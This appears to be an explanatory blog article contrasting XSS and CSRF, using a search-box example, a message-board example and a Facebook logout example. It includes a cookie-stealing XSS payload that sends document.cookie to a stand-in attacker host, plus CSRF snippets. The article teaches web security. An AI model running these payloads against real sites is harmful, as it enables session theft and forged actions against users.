Difference between XSS and CSRF attacks
Two of the most common attacks against web sites and web application are XSS (Cross-site Scripting) and CSRF (Cross-Site Request Forgery). Both kind of attacks are exploited regulary and even big companies such as Google and Yahoo have been vulnerable to them. Whereas XSS is more popular and you can find more literature and defense techniques about it, CSRF can also be very harmful. When searching on the web for the difference about the two attacks you often read something like this:
In case of XSS, the victim’s trust for a web site is exploited, in case of CSRF, the web site’s trust for a victim’s browser is exploited.
That sounds very abstract, so let’s have a more detailed look into how the two attacks work.
How does a XSS attack work?
In case of XSS the attacker makes the victim’s browser execute a script (mostly JavaScript) that has been injected by the attacker while visiting a trusted web site. The attacker has several ways of injecting the JavaScript into a web site that the victim trusts.
Query parameters
Imagine a web site that provides a search box. When you type your search query and press submit, the generated URL may look something like this:
https://example.com/search?query=AlanIn this case a GET request was made with the query parameter “Alan”. The server executing your search request, takes the query value from the URL parameter, computes the result and displays the result page as following:
Results for “Alan“:
- … Hey my name is Alan …
- … Alan was born on ….
You can see that the web site’s result page is rendered dependent on your search query. Now, what if we search for “<script>alert(1)</script>”? The generated search result URL would look like this:
https://example.com/search?query=<script>alert(1)</script>The result page of the web site vulnerable to a XSS attack would then probably look like this:

After you click ok you would see the result page:
Results for “”:
no results
This was a prove that whatever you pass a search query is actually printed as HTML on the result page. That means that an attacker can print his own JavaScript and the browser will execute it.
As a last step, the attacker has to make the victim click on the URL with his malicious script in the URL parameter. This can be achieved by sending an email, or posting the link on a board. As the domain that the victim can see in the URL is well known and trusted, the victim won’t expect any harm behind it. Whereas alert(1) was not harmful to the victim, the attacker could use the victim’s CPU to calculate bitcoins in the browser or could steal the victim’s cookie.
<script>new Image().src="http://attackerurl.com/storecookie?cookie="+document.cookie;</script>
Store script persistenly
Besides injecting the script using query parameters, the attacker may also inject the script persistenly into a web site’s database. Imagine a board that doesn’t validate the user’s input. The attacker registers at the board and makes a post that contains the malicious script. Every user of the board that reads the attacker’s post will become a victim and execute the script.
So summarized, in case of XSS, the attacker tricks the victim into opening a URL the victim trusts but which has been manipulated by the attacker so that the victim’s browser will execute the malicious script opening the URL.
How does a CSRF attack work?
In a CSRF attack, a malicious web site tells the victim’s web browser to send a malicious request to an honest site, as if the request were part of the victim’s interaction with the honest web site, making use of the existing victim’s context, such as cookies.
So let’s say you are logged in into Facebook. That implies that your web browser obtained the session i.e. the cookie to access your Facebook account. Every time you interact with Facebook, their server checks the cookie you send with the request so they know it’s you.
Let’s assume that when clicking the logout button of Facebook, a GET request is made to the following URL: https://facebook.com/logout. Now you visit the website of the attacker which contains the following HTML-snippet:
<img src="https://facebook.com/logout">This will cause your browser to load the image-URL of the img tag, which comes down to a GET request to https://facebook.com/logout. Your browser will automatically send your session together with the GET-request to Facebook. That means that the attacker was able log you out. He made a valid request with your user context without you even knowing.
Depending on the vulnerable web site, using CSRF, attackers can change your credentials or user profile properties. Even Gmail was vulnerable to CSRF as a story from 2007 shows. An attacker was able to get a victim on a malicious website that then send a request to Gmail and changed the victim’s Gmail filter properties. Like this, the attacker was able to redirect the victim’s emails to his own email account.
Another common attack is to use CSRF to trigger a login initiated by the victim but with the attacker’s credentials. Imagine you are on a malicious web site with a HTML-form. When clicking submit, the form makes a POST request to Google with the attackers credentials that are written into the HTML-form. Now the attacker is logged in on Google in the victim’s browser. Google will document all visited web sites and browser history which the attacker can get access to later on.
So, both attacks have in common that they are client-side attacks and need some action of the end user, such as clicking on a link or visiting a web site. XSS executes a malicious script in your browser, CSRF sends a malicious request on your behalf.
